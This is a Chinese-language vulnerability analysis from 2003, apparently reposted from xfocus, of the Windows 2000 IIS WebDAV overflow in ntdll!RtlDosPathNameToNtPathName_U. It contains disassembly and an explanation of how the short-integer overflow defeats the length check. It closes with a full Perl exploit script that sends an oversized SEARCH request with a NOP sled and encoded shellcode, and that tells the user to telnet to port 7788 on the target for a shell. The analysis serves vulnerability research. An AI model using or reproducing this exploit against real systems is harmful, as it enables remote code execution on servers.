- 論壇徽章:
- 0
|
創(chuàng)建時間:2003-03-27\r\n文章屬性:原創(chuàng)\r\n文章來源:http://www.xfocus.net\r\n文章提交:isno (isno_at_sina.com)\r\n\r\nWebDav遠(yuǎn)程溢出漏洞分析\r\n\r\nby isno@xfocus.org\r\n\r\n一、漏洞分析\r\n 這個漏洞可能是前些年就有牛人發(fā)現(xiàn)了的,不過一直沒公布,直到最近微軟出了安全公告大家才知道原來有這么個漏洞。雖然WebDav是通過IIS來利用這個漏洞的,但是漏洞本身并不是IIS造成的,而是ntdll.dll里面的一個API函數(shù)造成的。有就是說,很多調(diào)用這個API的應(yīng)用程序都存在這個漏洞。整個漏洞的引用關(guān)系是這樣的:\r\n\r\nIIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)\r\n\r\n 其中GetFileAttributesExW是一個很常用的,用來得到文件屬性的API函數(shù),它的第一個參數(shù)是文件名。并且隨后調(diào)用ntdll.dll中的RtlDosPathNameToNtPathName_U函數(shù),來處理這個文件名。如果給一個超長的文件名,就會導(dǎo)致RtlDosPathNameToNtPathName_U函數(shù)中發(fā)生溢出。\r\n 這個溢出從本質(zhì)上來說是一個短整型數(shù)溢出,而后導(dǎo)致了堆棧溢出。最近出現(xiàn)的很多漏洞都是整數(shù)溢出引起的,這一點值得研究。\r\n 當(dāng)我們對IIS發(fā)送如下請求就會觸發(fā)溢出:\r\n SEARCH /[buffer(>65513 bytes)] HTTP/1.0\r\n 其中IIS就把buffer前面加上幾個字節(jié)的路徑,然后作為文件名參數(shù)傳給了GetFileAttributesExW,然后GetFileAttributesExW又把這個長字符串作為參數(shù)傳給RtlDosPathNameToNtPathName_U,然后就溢出了。\r\n 下面我們就來看看溢出是怎樣發(fā)生的:\r\n\r\n.text:77F8AFFC public RtlDosPathNameToNtPathName_U\r\n.text:77F8AFFC RtlDosPathNameToNtPathName_U proc near ; CODE XREF: sub_77F87F5C+15p\r\n.text:77F8AFFC ; .text:77F8D9F8p ...\r\n.text:77F8AFFC push ebp\r\n.text:77F8AFFD mov ebp, esp\r\n.text:77F8AFFF push 0FFFFFFFFh\r\n.text:77F8B001 push offset dword_77F8B1E8\r\n.text:77F8B006 push offset sub_77F82B95\r\n.text:77F8B00B mov eax, large fs:0\r\n.text:77F8B011 push eax\r\n.text:77F8B012 mov large fs:0, esp ;建立異常鏈\r\n.text:77F8B019 push ecx\r\n.text:77F8B01A push ecx\r\n.text:77F8B01B sub esp, 26Ch\r\n.text:77F8B021 push ebx\r\n.text:77F8B022 push esi\r\n.text:77F8B023 push edi\r\n.text:77F8B024 mov [ebp+var_18], esp\r\n.text:77F8B027 xor ebx, ebx\r\n.text:77F8B029 mov [ebp+var_58], ebx\r\n.text:77F8B02C mov [ebp+var_3C], ebx\r\n.text:77F8B02F mov edi, 20Ah\r\n.text:77F8B034 mov esi, edi\r\n.text:77F8B036 push [ebp+arg_0] ;路徑UNICODE字符串\r\n.text:77F8B039 lea eax, [ebp+var_30] ;UNICODE_STRING結(jié)構(gòu)指針\r\n.text:77F8B03C push eax\r\n.text:77F8B03D call RtlInitUnicodeString\r\n\r\n\r\n 調(diào)用RtlInitUnicodeString函數(shù)來初始化UNICODE_STRING結(jié)構(gòu),UNICODE_STRING結(jié)構(gòu)如下:\r\n\r\ntypedef struct _UNICODE_STRING {\r\n USHORT Length; //UNICODE字符串長度,短整型數(shù),最大可以是0xffff即65535\r\n USHORT MaximumLength; //UNICODE字符串可存儲最大長度,短整型,最大可以是0xffff即65535\r\n PWSTR Buffer; //存放UNICODE字符串的地址\r\n} UNICODE_STRING *PUNICODE_STRING;\r\n\r\n RtlInitUnicodeString的作用其實就是把路徑字符串存放到Buffer,并計算其長度,放在Length里。這里就存在一個短整型數(shù)溢出,如果路徑字符串的長度超過65535,由于Length是短整型數(shù),所以無法容納,就會溢出,例如當(dāng)路徑長度是65536,那么Length就為0,與實際長度不等。在后面會使用到Length的時候就導(dǎo)致了普通的堆棧溢出。\r\n\r\n.text:77F8B05A lea eax, [ebp+var_270]\r\n.text:77F8B060 mov [ebp+var_3C], eax\r\nRtlDosPathNameToNtPathName_U函數(shù)堆棧中的地址,距離函數(shù)棧底的距離為0x270字節(jié),后面會作為參數(shù)傳入sub_77F8AC33\r\n\r\n.text:77F8B0A0 lea eax, [ebp+var_274]\r\n.text:77F8B0A6 push eax\r\n.text:77F8B0A7 lea eax, [ebp+var_38]\r\n.text:77F8B0AA push eax\r\n.text:77F8B0AB push [ebp+arg_8]\r\n.text:77F8B0AE push [ebp+var_3C] ;前面取的那個堆棧地址[ebp+var_270]\r\n.text:77F8B0B1 mov edi, 208h\r\n.text:77F8B0B6 push edi ;長度限制,0x208\r\n.text:77F8B0B7 lea eax, [ebp+var_30] ;已經(jīng)初始化過的UNICODE_STRING結(jié)構(gòu)指針\r\n.text:77F8B0BA push eax\r\n.text:77F8B0BB call sub_77F8AC33 ;調(diào)用sub_77F8AC33\r\n\r\n.text:77F8AC33 sub_77F8AC33 proc near ; CODE XREF: RtlGetFullPathName_U+24p\r\n.text:77F8AC33 ; RtlDosPathNameToNtPathName_U+BFp ...\r\n......\r\n.text:77F8AD96 mov dx, [ebp+var_30]\r\n.text:77F8AD9A movzx esi, dx\r\n.text:77F8AD9D mov eax, [ebp+var_28]\r\n.text:77F8ADA0 lea ecx, [eax+esi] ;ecx就是UNICODE_STRING結(jié)構(gòu)中的Length\r\n.text:77F8ADA3 mov [ebp+var_5C], ecx\r\n.text:77F8ADA6 cmp ecx, [ebp+arg_4] ;長度限制比較,Length與arg_4參數(shù)(即0x208)進行比較\r\n.text:77F8ADA9 jnb loc_77F8E771 ;如果UNICODE字符串的長度大于0x208就跳轉(zhuǎn)到錯誤處理\r\n 這里是有一個長度限制的,即UNICODE字符串的長度Length不能超過0x208字節(jié),否則就認(rèn)為是超長的,不進行字符串拷貝。但是由于Length這個短整型數(shù)溢出了,它比UNICODE字符串的實際長度小的多,所以造成長度限制比較失效,從而造成了后面的溢出。\r\n 進行完長度限制比較后,就會把UNICODE_STRING結(jié)構(gòu)中的Buffer里面的內(nèi)容拷貝到[arg_8+offset]里面(offset很小),也就是前面取的那個堆棧地址[ebp+var_270]里面。\r\n.text:77F8AE1B movzx ecx, [ebp+var_4C]\r\n.text:77F8AE1F add ecx, [ebp+arg_8] ;ecx就是前面取的那個堆棧地址[ebp+var_270]\r\n......\r\n接下來就是一些的字符串copy操作,把UNICODE_STRING結(jié)構(gòu)中的Buffer里面的內(nèi)容拷貝到[arg_8+offset]里面。\r\n.text:77F8AE63 mov [ecx], dx\r\n.text:77F8AE66 add ecx, ebx\r\n 字符串copy的時候就溢出了,會把RtlDosPathNameToNtPathName_U函數(shù)的返回地址,以及建立的異常鏈全部覆蓋掉。一般我們通過把異常處理指針覆蓋成我們能控制的地址,這樣后面觸發(fā)異常的時候就會跳去執(zhí)行我們的shellcode。\r\n 大概的過程就是這樣,當(dāng)然其中還有一些比較復(fù)雜的處理,不再贅述。\r\n\r\n二、漏洞利用\r\n 微軟的公告出來之后,我就重現(xiàn)了這個漏洞,但是由于很長時間不搞這些東西了,連softice命令都要重新學(xué)學(xué)才能記起來。到要寫這個的exploit程序,又發(fā)現(xiàn)其中的UNICODE轉(zhuǎn)換很煩人,到現(xiàn)在也一直沒有很通用的辦法來利用。后來等到老外公布了他的exploit程序,我才發(fā)現(xiàn)原來中文版和英文版的Windows 2000的UNICODE轉(zhuǎn)換不一樣,對中文版win2000的exploit要麻煩的多,像老外那樣子寫的exploit程序根本無法攻擊中文版的win2000。\r\n 當(dāng)我們把“SEARCH /[buffer] HTTP/1.0”傳給IIS后,先進行一系列的處理把buffer解析出來,然后對buffer進行MultiByteToWideChar轉(zhuǎn)換,把buffer轉(zhuǎn)換成UNICODE形式。中文版和英文版的win2000的轉(zhuǎn)換應(yīng)該是不一樣的,可能是轉(zhuǎn)換的CodePage不一樣,英文版可能是使用CP_ACP,中文版可能使用的是CP_UTF*,具體是怎樣轉(zhuǎn)換的我也沒搞清楚,總之轉(zhuǎn)換出的結(jié)果在中文版和英文版中應(yīng)該是不一樣的。\r\n 這樣就造成了中文版的難以利用,因為英文版中可以直接把一些指令或返回地址放在buffer里面,轉(zhuǎn)換成UNICODE之后也不會改變。但是中文版的在轉(zhuǎn)換之后就有好多字節(jié)變了,導(dǎo)致無法利用。按說像以前的ida/idq溢出也是經(jīng)過UNICODE轉(zhuǎn)換的,那個就可以用%u的方法進行編碼,使得某些字節(jié)不進行轉(zhuǎn)換。WebDav的溢出雖然也能用%u編碼來控制不進行轉(zhuǎn)換,但是實際調(diào)試發(fā)現(xiàn)某些不符合規(guī)范的字節(jié)還是被改變了。估計是對有%u編碼的字節(jié)先進行了MultiByteToWideChar轉(zhuǎn)換,然后又用WideCharToMultiByte給轉(zhuǎn)回來了。所以不符合UNICODE編碼規(guī)范的字符就還是被改變了。\r\n 最困難的問題就是我們用來覆蓋的返回地址的范圍大大縮小了,只能用一些符合UNICODE編碼規(guī)范的字符,否則就會被轉(zhuǎn)換調(diào)?梢曌址0x20~0x7f)當(dāng)然是可以用的,但是要用這些字符來構(gòu)造出可執(zhí)行的指令就比較困難了,所以不能用含JMP EBX之類指令的地址來作為返回地址,否則即使返回到buffer里面也很難用一段指令跳轉(zhuǎn)到shellcode去。而英文版就沒有這個問題,可是現(xiàn)在公布的exploit都沒用%u編碼和JMP EBX地址的方法,而是用堆棧地址做返回地址,這樣導(dǎo)致這些exploit對付英文版時成功率也不高。\r\n 對付中文版的win2000麻煩的多,因為在buffer里面不允許有不符合UNICODE編碼的字符,所以直接使用堆棧內(nèi)的shellcode地址作為返回地址比較好。這樣就需要在shellcode之前放盡量多的NOP,占據(jù)一段比較大的內(nèi)存空間,這樣確保返回到NOP里面。HTTP協(xié)議里面允許存放最大量數(shù)據(jù)的地方就是POST數(shù)據(jù),所以shellcode就放在這里。整個HTTP請求這樣構(gòu)造:\r\n\r\nSEARCH /[ret]...[ret][AAA...AAA][qq] HTTP/1.0\r\nHost: ISNO\r\nContent-Type: text/xml\r\nContent-length: [NOP和Shellcode的總長度]\r\n\r\n[NOPNOPNOP...NOPNOP][Shellcode]\r\n\r\n 因為AAAA...AAAA的長度比較長,怕萬一返回到這里面就沒辦法執(zhí)行shellcode了,所以在AAAA的后面要放一個跳轉(zhuǎn)指令,因為在堆棧里NOP和shellcode是AAAA的后面排列的(但是并不緊挨著,中間有一些無用字符),所以如果返回到AAAA里面就一直執(zhí)行inc ecx指令(0x41),然后最后跳轉(zhuǎn)到NOP里去。因為在這里面要用符合UNICODE編碼的指令,所以一般的jmp指令(0xeb)都不能用,我們就用一個jno xxxx(0x71)指令向后跳轉(zhuǎn)。所以我們在AAAA的后面放上兩個q(0x71)來作為跳轉(zhuǎn)指令,這樣即使返回到AAAA里面也能保證最后跳轉(zhuǎn)到后面的shellcode執(zhí)行。\r\n 具體的exploit程序請參見附程序。\r\n 我在幾個中文版win2000+SP2和SP3上都測試成功了,但是也有一些機器不能成功,需要調(diào)整返回地址才行。所以這個程序的通用性仍然不是很好。另外一些機器上還有返回地址要有2個字節(jié)對齊的問題,因此使用的返回地址盡量用前兩個字節(jié)和后兩個字節(jié)相同的,例如0x00d700d7。\r\n 順便說一下,我發(fā)現(xiàn)perl真是好東西,尤其是用來構(gòu)造字符串非常方便。\r\n \r\n三、總結(jié)\r\n 這是一個典型的整數(shù)溢出導(dǎo)致的堆棧溢出,和以前那個ASP溢出有相似之處,只不過ASP溢出是整數(shù)溢出導(dǎo)致堆溢出。這個漏洞的另一個特點就是它是UNICODE轉(zhuǎn)換之后的溢出,這大大增加了利用的難度。\r\n 由于本人水平極為有限,加上沒有時間進行更仔細(xì)的分析,所以對一些處理過程的理解可能不正確,對該漏洞的分析肯定存在紕漏,也許IIS有一些特殊的轉(zhuǎn)換處理過程我沒有發(fā)現(xiàn),可能會導(dǎo)致這個漏洞有非常容易的方法來利用。寫這個文章的目的就在于拋磚引玉,讓牛人們把好的exploit方法公布出來,讓小弟我也學(xué)習(xí)一下。\r\n\r\n\r\n附WebDav遠(yuǎn)程溢出程序:\r\n----------------------------------------------------------------------\r\n#!/usr/bin/perl\r\n#65514 by isno@xfocus.org\r\n#tested on Win2k SP3 Chinese version\r\n\r\nuse IO::Socket;\r\nif ($#ARGV<0){die \"webdavx.pl IP\\r\\n\";}\r\n$host = @ARGV[0]; \r\n$port= 80;\r\n\r\n$ret = \"%u00d7%u00d7\" x 500;\r\n$buf = \"A\" x 64502;\r\n$jmp = \"BBBBBBBBBBqq\";# qq=\"\\x71\\x71\" means jno xxxx\r\n$nop = \"\\x90\" x 40000;\r\n$sc =\r\n \"\\x90\\xeb\\x03\\x5d\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x83\\xc5\\x15\\x90\\x90\".\r\n \"\\x90\\x8b\\xc5\\x33\\xc9\\x66\\xb9\\x10\\x03\\x50\\x80\\x30\\x97\\x40\\xe2\\xfa\".\r\n \"\\x7e\\x8e\\x95\\x97\\x97\\xcd\\x1c\\x4d\\x14\\x7c\\x90\\xfd\\x68\\xc4\\xf3\\x36\".\r\n \"\\x97\\x97\\x97\\x97\\xc7\\xf3\\x1e\\xb2\\x97\\x97\\x97\\x97\\xa4\\x4c\\x2c\\x97\".\r\n \"\\x97\\x77\\xe0\\x7f\\x4b\\x96\\x97\\x97\\x16\\x6c\\x97\\x97\\x68\\x28\\x98\\x14\".\r\n \"\\x59\\x96\\x97\\x97\\x16\\x54\\x97\\x97\\x96\\x97\\xf1\\x16\\xac\\xda\\xcd\\xe2\".\r\n \"\\x70\\xa4\\x57\\x1c\\xd4\\xab\\x94\\x54\\xf1\\x16\\xaf\\xc7\\xd2\\xe2\\x4e\\x14\".\r\n \"\\x57\\xef\\x1c\\xa7\\x94\\x64\\x1c\\xd9\\x9b\\x94\\x5c\\x16\\xae\\xdc\\xd2\\xc5\".\r\n \"\\xd9\\xe2\\x52\\x16\\xee\\x93\\xd2\\xdb\\xa4\\xa5\\xe2\\x2b\\xa4\\x68\\x1c\\xd1\".\r\n \"\\xb7\\x94\\x54\\x1c\\x5c\\x94\\x9f\\x16\\xae\\xd0\\xf2\\xe3\\xc7\\xe2\\x9e\\x16\".\r\n \"\\xee\\x93\\xe5\\xf8\\xf4\\xd6\\xe3\\x91\\xd0\\x14\\x57\\x93\\x7c\\x72\\x94\\x68\".\r\n \"\\x94\\x6c\\x1c\\xc1\\xb3\\x94\\x6d\\xa4\\x45\\xf1\\x1c\\x80\\x1c\\x6d\\x1c\\xd1\".\r\n \"\\x87\\xdf\\x94\\x6f\\xa4\\x5e\\x1c\\x58\\x94\\x5e\\x94\\x5e\\x94\\xd9\\x8b\\x94\".\r\n \"\\x5c\\x1c\\xae\\x94\\x6c\\x7e\\xfe\\x96\\x97\\x97\\xc9\\x10\\x60\\x1c\\x40\\xa4\".\r\n \"\\x57\\x60\\x47\\x1c\\x5f\\x65\\x38\\x1e\\xa5\\x1a\\xd5\\x9f\\xc5\\xc7\\xc4\\x68\".\r\n \"\\x85\\xcd\\x1e\\xd5\\x93\\x1a\\xe5\\x82\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\xa4\\x57\".\r\n \"\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x13\\x5e\\xe3\\x9e\\xc5\\xc1\\xc4\".\r\n \"\\x68\\x85\\xcd\\x3c\\x75\\x7f\\xd1\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\x1c\\x4f\\xa4\".\r\n \"\\x57\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x17\\x6e\\x95\\xe3\\x9e\\xc5\".\r\n \"\\xc1\\xc4\\x68\\x85\\xcd\\x3c\\x75\\x70\\xa4\\x57\\xc7\\xd7\\xc7\\xd7\\xc7\\x68\".\r\n \"\\xc0\\x7f\\x04\\xfd\\x87\\xc1\\xc4\\x68\\xc0\\x7b\\xfd\\x95\\xc4\\x68\\xc0\\x67\".\r\n \"\\xa4\\x57\\xc0\\xc7\\x27\\x9b\\x3c\\xcf\\x3c\\xd7\\x3c\\xc8\\xdf\\xc7\\xc0\\xc1\".\r\n \"\\x3a\\xc1\\x68\\xc0\\x57\\xdf\\xc7\\xc0\\x3a\\xc1\\x3a\\xc1\\x68\\xc0\\x57\\xdf\".\r\n \"\\x27\\xd3\\x1e\\x90\\xc0\\x68\\xc0\\x53\\xa4\\x57\\x1c\\xd1\\x63\\x1e\\xd0\\xab\".\r\n \"\\x1e\\xd0\\xd7\\x1c\\x91\\x1e\\xd0\\xaf\\xa4\\x57\\xf1\\x2f\\x96\\x96\\x1e\\xd0\".\r\n \"\\xbb\\xc0\\xc0\\xa4\\x57\\xc7\\xc7\\xc7\\xd7\\xc7\\xdf\\xc7\\xc7\\x3a\\xc1\\xa4\".\r\n \"\\x57\\xc7\\x68\\xc0\\x5f\\x68\\xe1\\x67\\x68\\xc0\\x5b\\x68\\xe1\\x6b\\x68\\xc0\".\r\n \"\\x5b\\xdf\\xc7\\xc7\\xc4\\x68\\xc0\\x63\\x1c\\x4f\\xa4\\x57\\x23\\x93\\xc7\\x56\".\r\n \"\\x7f\\x93\\xc7\\x68\\xc0\\x43\\x1c\\x67\\xa4\\x57\\x1c\\x5f\\x22\\x93\\xc7\\xc7\".\r\n \"\\xc0\\xc6\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x47\\x14\\xa8\\x96\\xeb\\xb5\\xa4\\x57\".\r\n \"\\xc7\\xc0\\x68\\xa0\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x4b\\x9c\\x57\\xe3\\xb8\\xa4\".\r\n \"\\x57\\xc7\\x68\\xa0\\xc1\\xc4\\x68\\xc0\\x6f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x5f\".\r\n \"\\xa4\\x57\\xc7\\x23\\x93\\xc7\\xc1\\xc4\\x68\\xc0\\x6b\\xc0\\xa4\\x5e\\xc6\\xc7\".\r\n \"\\xc1\\x68\\xe0\\x3b\\x68\\xc0\\x4f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x3d\\xc7\\x68\".\r\n \"\\xc0\\x73\\x7c\\x69\\xcf\\xc7\\x1e\\xd5\\x65\\x54\\x1c\\xd3\\xb3\\x9b\\x92\\x2f\".\r\n \"\\x97\\x97\\x97\\x50\\x97\\xef\\xc1\\xa3\\x85\\xa4\\x57\\x54\\x7c\\x7b\\x7f\\x75\".\r\n \"\\x6a\\x68\\x68\\x7f\\x05\\x69\\x68\\x68\\xdc\\xc1\\x70\\xe0\\xb4\\x17\\x70\\xe0\".\r\n \"\\xdb\\xf8\\xf6\\xf3\\xdb\\xfe\\xf5\\xe5\\xf6\\xe5\\xee\\xd6\\x97\\xdc\\xd2\\xc5\".\r\n \"\\xd9\\xd2\\xdb\\xa4\\xa5\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xfe\\xe7\\xf2\".\r\n \"\\x97\\xd0\\xf2\\xe3\\xc4\\xe3\\xf6\\xe5\\xe3\\xe2\\xe7\\xde\\xf9\\xf1\\xf8\\xd6\".\r\n \"\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\xd6\\x97\".\r\n \"\\xd4\\xfb\\xf8\\xe4\\xf2\\xdf\\xf6\\xf9\\xf3\\xfb\\xf2\\x97\\xc7\\xf2\\xf2\\xfc\".\r\n \"\\xd9\\xf6\\xfa\\xf2\\xf3\\xc7\\xfe\\xe7\\xf2\\x97\\xd0\\xfb\\xf8\\xf5\\xf6\\xfb\".\r\n \"\\xd6\\xfb\\xfb\\xf8\\xf4\\x97\\xc0\\xe5\\xfe\\xe3\\xf2\\xd1\\xfe\\xfb\\xf2\\x97\".\r\n \"\\xc5\\xf2\\xf6\\xf3\\xd1\\xfe\\xfb\\xf2\\x97\\xc4\\xfb\\xf2\\xf2\\xe7\\x97\\xd2\".\r\n \"\\xef\\xfe\\xe3\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\x97\\x97\\xc0\\xc4\\xd8\\xd4\".\r\n \"\\xdc\\xa4\\xa5\\x97\\xe4\\xf8\\xf4\\xfc\\xf2\\xe3\\x97\\xf5\\xfe\\xf9\\xf3\\x97\".\r\n \"\\xfb\\xfe\\xe4\\xe3\\xf2\\xf9\\x97\\xf6\\xf4\\xf4\\xf2\\xe7\\xe3\\x97\\xe4\\xf2\".\r\n \"\\xf9\\xf3\\x97\\xe5\\xf2\\xf4\\xe1\\x97\\x95\\x97\\x89\\xfb\\x97\\x97\\x97\\x97\".\r\n \"\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\xf4\\xfa\\xf3\\xb9\\xf2\\xef\\xf2\\x97\".\r\n \"\\x68\\x68\\x68\\x68\";\r\n\r\n$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => \"tcp\", Type =>SOCK_STREAM) or die \"Couldn\'t connect: @!\\n\";\r\nprint $socket \"SEARCH /$ret$buf$jmp HTTP/1.0\\r\\n\";\r\nprint $socket \"Host: ISNO\\r\\n\";\r\nprint $socket \"Content-Type: text/xml\\r\\n\";\r\nprint $socket \"Content-length: 40804\\r\\n\\r\\n\";\r\nprint $socket \"$nop$sc\\r\\n\";\r\n\r\nprint \"send buffer...\\r\\n\";\r\nprint \"telnet target 7788\\r\\n\";\r\n\r\nclose($socket); |
|